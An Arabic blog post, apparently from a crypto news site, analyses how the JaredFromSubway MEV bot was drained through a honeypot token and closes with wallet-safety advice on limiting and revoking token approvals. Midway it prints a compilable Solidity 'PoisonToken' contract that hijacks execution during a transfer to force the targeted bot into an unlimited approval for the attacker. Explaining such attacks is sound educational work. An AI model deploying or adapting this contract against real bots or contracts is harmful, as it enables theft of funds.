اضغط على ESC للإغلاق

كيف خسر بوت MEV Jaredfromsubway أكثر من 15 مليون$؟

ليست حادثة جيرد (JaredFromSubway) مجرد ثغرة DeFi عابرة أو عملية تصريف أخرى في السوق، بل هي نقطة تحول جذرية هزت "السلسلة الغذائية" لشبكة إيثيريوم بالكامل. لفترة طويلة، كانت بوتات الـ MEV تُعتبر "الحوت المفترس" والمسيطر المطلق على الميمبول (mempool)، حيث تعتمد على محاكاة بالغة التعقيد لاقتناص الأرباح بدون أي مخاطرة على حساب المتداولين العاديين. لكن هذه الضربة القاضية، التي كلفت مشغلي بوت Jared أكثر من 15 مليون دولار، أثبتت حقيقة واحدة: الأتمتة بدون عزل صارم لبيئة التنفيذ (Execution Context) هي بمثابة انتحار تقني.

في السطور التالية، نقدم تحليلاً فنياً دقيقاً لكيفية تنفيذ الـ exploit، وهندسة فخ الـ Honey Pot، والخلل البرمجي الذي حوّل هذا البوت الأقوى في السوق إلى مجرد "ممول سيولة" مجاني للهكر.

تشريح الثغرة: أين أخطأت خوارزمية جيرد؟

تعتمد بوتات الـ MEV التقليدية التي تنفذ هجمات الساندوتش (Sandwich Attacks) على محركات محاكاة تعمل خارج الشبكة (Off-chain) مثل نسخ معدلة من كليانت Geth أو Erigon. قبل إرسال الحزمة (Bundle) عبر Flashbots أو الـ Builder API، يقوم البوت بـ "تجميع وتجربة" حالة الـ EVM محلياً. إذا أظهرت هذه المحاكاة أرباحاً صافية بعملة WETH، يتم فوراً إرسال المعاملات ليتم تضمينها في البلوك.

الهكرز لعبوا على نقطة الضعف القاتلة في هذا المنطق، وهي: التنفيذ الديناميكي لـ bytecode غير مفحوص.

كان بوت JaredFromSubway يضغط على "تحسين المسارات" لأقصى حد لتقليل تكاليف الغاز (Gas Fees). وبدلاً من تدمير وإنشاء عقود ذكية جديدة مع كل صفقة، كان يعتمد على عقد راوتر (Router Contract) دائم يحتوي على السيولة المتراكمة، مع تفعيل صلاحيات لا نهائية (infinite approvals) على أحواض (Pools) Uniswap V2/V3. كان مطورو البوت يتحركون بناءً على فرضية عمياء تؤكد أن توكنات الـ ERC-20 الخارجية آمنة تماماً طالما أن رياضيات توازن الحوض منضبطة قبل وبعد عملية السواب (Swap).

هنا ذكاء الهكرز؛ حيث قاموا بإنشاء توكن "فخ" تحتوي دالتا transfer و transferFrom بداخله على حمولة خبيثة (Payload) مخفية. بمجرد أن قام البوت باستدعاء دالة swap في الحوض، انتقلت سلطة التنفيذ داخل الـ EVM مباشرة إلى كود التوكن الملغوم. وبدلاً من مجرد تحديث الرصيد في الـ mapping، قام العقد الخبيث بعمل Low-level call عكسي إلى عقد البوت نفسه، وأجبره على توقيع approve يمنح عنوان الهكر صلاحية التصرف في أهم أصول البوت (WETH، USDC، USDT). محاكي البوت المحلي لم يكتشف هذا الخطر إطلاقاً؛ لأن رصيد التوكنات في مرحلة الفحص كان يرتفع، بينما سحب السيولة الحقيقية حدث في الخطوة التالية التي اعتبرها البوت آمنة مسبقاً.

الجدول الزمني للـ Exploit: خطوة بخطوة

  • 1. تجهيز البنية التحتية ونشر التوكن المسموم

    قام المهاجمون بنشر العقد الذكي للتوكن وضخ السيولة في الحوض. المنطق البرمجي الخاص المدمج داخل التوكن تم تصميمه ليستيقظ فقط عندما يكون العنوان الذي بدأ المعاملة هو عقد الراوتر المعروف التابع لبوت JaredFromSubway.

  • 2. رمي الطعم (Baiting)

    نفذ الهكرز صفقة شراء ضخمة لتوكناتهم الخاصة عبر الميمبول العام (Public Mempool). بالنسبة لخوارزميات البوت، بدت هذه المعاملة كصيد مثالي لا يعوض لهجوم الساندوتش: سيولة الحوض ضحلة، ونسبة الانزلاق السعري (Slippage) العالية مضمونة، والأرباح الرياضية المتوقعة من عملية الشراء المسبق (Frontrun) كانت خيالية.

  • 3. اختطاف المسار والتنفيذ (The Hijacking)

    التقط البوت المعاملة، وقام بتجهيز الـ bundle، ودفع رسوم أولوية (Priority Fee) دسمة للموثق (Validator) ليقفز إلى المركز الأول في البلوك ويسبق الجميع.

    [بلوك إيثيريوم]
    ├── المعاملة 1 (Frontrun): البوت يشتري التوكن الفخ -> تفعيل الكود الخبيث -> استدعاء إجباري لـ approve()
    ├── المعاملة 2 (الضحية): الهكر ينفذ عملية السواب المخطط لها
    └── المعاملة 3 (Backrun): البوت يحاول بيع التوكن (في هذه المرحلة، كل شيء انتهى بالفعل)

    في الملي ثانية التي تم فيها تنفيذ المعاملة الأولى داخل الحوض، اختطف عقد التوكن مسار التنفيذ (Execution Flow) بالكامل. ومستغلاً الثغرة الهندسية في راوتر البوت الذي يثق بشكل أعمى في العقود التي يتداولها، أجبر عقد الهكر البوت على تنفيذ الأمر التالي: asset.approve(attacker_address, type(uint256).max).

  • 4. تصفية المحافظ عبر transferFrom

    بعد الحصول على صلاحية التحكم بأموال البوت الأساسية، لم ينتظر الهكرز حتى ينتهي البلوك. ضمن نفس الهجوم (أو في البلوك التالي مباشرة باستخدام حزم اتمية Atomic Bundles)، قام العقد الخبيث باستدعاء دالة transferFrom على عقود WETH و USDC و USDT. النتيجة كانت سحب أكثر من 15 مليون دولار من جميع العناوين المرتبطة ببوت JaredFromSubway، بما في ذلك تحويل واحد بقيمة 7.5 مليون دولار دفعة واحدة.

تحليل مقارن: هجوم الساندوتش التقليدي ضد الـ Exploit "جيرد"

المعيارالساندوتش الكلاسيكي (Jared)الهجوم المضاد للهكرز (Honey Pot)
المستهدف من الهجومالمستخدم العادي (Market Order)بوت MEV (راوتر مؤتمت بالكامل)
الأداة الأساسيةالتلاعب بالسعر عبر إعادة ترتيب المعاملاتحقن bytecode خبيث عبر معيار ERC-20
مؤشر الثغرةنسبة انزلاق سعري (Slippage) عالية يتركها المتداولغياب عزل الصلاحيات (Approvals) داخل عقد البوت
النتيجةالبوت يقتنص فروقات سعرية بسيطة (0.1% - 5%)الهكر يسحب كامل سيولة البوت التشغيلية في ثوانٍ

هندسة الـ "Poison Token" (نموذج PoC توضيحي)

تحت في الكود، بتلاقي سمارت كونتركت كامل وقابل للـ compilation على Solidity. الكود يشرح بالتفصيل كيف الشيت كوين يقدر يسوي هايلجاك (hijack) لـ مسار التنفيذ، ويجبر الـ كونتركت اللي استدعاه إنه يعطيه صلاحية إنفينيت (infinite allowance) غصب عنه.

تنبيه مهم: هذا الكود لغرض التعليم والتدريب فقط، عشان نفهم طريقة الهجوم ونعرف كيف نبرمج حماية أقوى للـ دابس (dApps). فكنا من حركات السكربت كيديز.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // مثلاً، توكن الـ WETH كونتركت
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // تريجر الهجوم: إذا الكول جاي من البوت أو رايح له، وإحنا لسه ما دخلنا في ريكرجن اللوب
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // نضرب كول شبيه بالـ reentrancy مباشرة في كونتركت البوت.
            // هني نلعب على ثغرة في منطق البوت، لأنه ينفذ مكالمات لو-ليفل عشوائية 
            // (arbitrary calls) بناءً على الداتا اللي توصله بوسط السواب.
            // وبجذي نسوي محاكاة لأبروف إجباري لتوكن WETH لصالح المهاجم.
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // البوت ينفذ الكول هذا وهو مغمض لأن الراوتر ماله يثق في التعليمات اللي تجيه من سياق البول
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

كيف تحمي محفظتك: دروس قاسية للكابيتال الصغير (Retail)

مع إن هالمعركة صارت فوق في مستويات الـ "Predator vs Alien" بين حيتان الـ MEV والـ bots الكبيرة، إلا إن مستخدمي الويب 3 العاديين يقدرون يستفيدون منها دروس أساسية لأمان محافظهم. بوت JaredFromSubway راح فيها وتصفر (rekt) والسبب الصلاحيات المفتوحة على البحري اللي مالها والي (infinite approvals)؛ وهذا بالضبط نفس الريسك اللي يطيح فيه أغلب الـ ريتيل يومياً بدون ما يحسون.

يوم تدخل وتتفاعل مع أي بروتوكول DeFi (تبا تسوي سواب على Uniswap، أو تستخدم 1inch، أو تودع في منصات لندنج)، المحفظة تطلب منك توقع على ترانزاكشنز ثنين: الأول هو الـ Approve (يعني تعطي الكونتركت صلاحية إنه يحرك توكناتك)، والثاني هو الـ Swap أو الـ Deposit نفسه.

أغلب الـ dApps تطلب منك باي-ديفولت صلاحية على ماكس التوكنات اللي عندك (uint256.max). يسوون هالشي عشان الـ UX وراحتك، عشان ما تدفع غاز فيز (gas fees) كل مرة تبا تتداول فيها نفس التوكن عقب.

لكن هني الفخ الكبير: لو السمارت كونتركت مال البروتوكول تعرض لاختراق أو إكسبلويت (مثل ما استوى لراوتر جيرد) أو لو بالخطأ وقعت أبروف في موقع فيشينج (phishing)، يقدر المهاجم بأي وقت يستدعي الـ transferFrom ويشخط محفظتك وينظفها بالكامل في ثواني، حتى لو كانت توكناتك قاعدة بمكانها في أمان الله وما حركتها.

Checklist: كيف ما تكون الضحية الجاية للأبروفات المخفية

  • حدد ليمت يدوي من عندك (Custom Allowance):

    يوم يطلع لك بوب-أب الـ Approve في MetaMask أو Rabby Wallet، لا تضغط على "Max" وأنت مغمض. اكتب بإيدك الكمية الضبط اللي تبا تبدلها الحين. لو تبا تسوي سواب لـ 100 USDC، خل الصلاحية لـ 100 USDC فقط لا غير.

  • احذف الصلاحيات القديمة أول بأول (Revoke):

    خلها عادة عندك، مرة كل شهر تشيك على الأبروفات الشغالة في محفظتك. استخدم مواقع معروفة وموثوقة مثل Revoke.cash أو دش مباشرة على قسم Token Approvals في المستكشف مثل Etherscan ونظف محفظتك.

  • قسم محافظك على حسب الشغل (Wallet Segregation):

    خلي الكابيتال الأساسي والـ Bags الثقيلة في هاردوير والت (cold wallet) تكون معزولة تماماً، ولا تشبكها في أي سمارت كونتركت ولا توقع بها شي. وللتداول اليومي والمشاريع اليديدة والـ NFT mints، استخدم "burner wallet" (hot wallet) فيها مبالغ بسيطة، بحيث لو راحت في ري-إنترانسي هجوم أو هاك للبول، ما تنجرح وماتعورك الحسبة.

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

شاركنا برأيك

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها *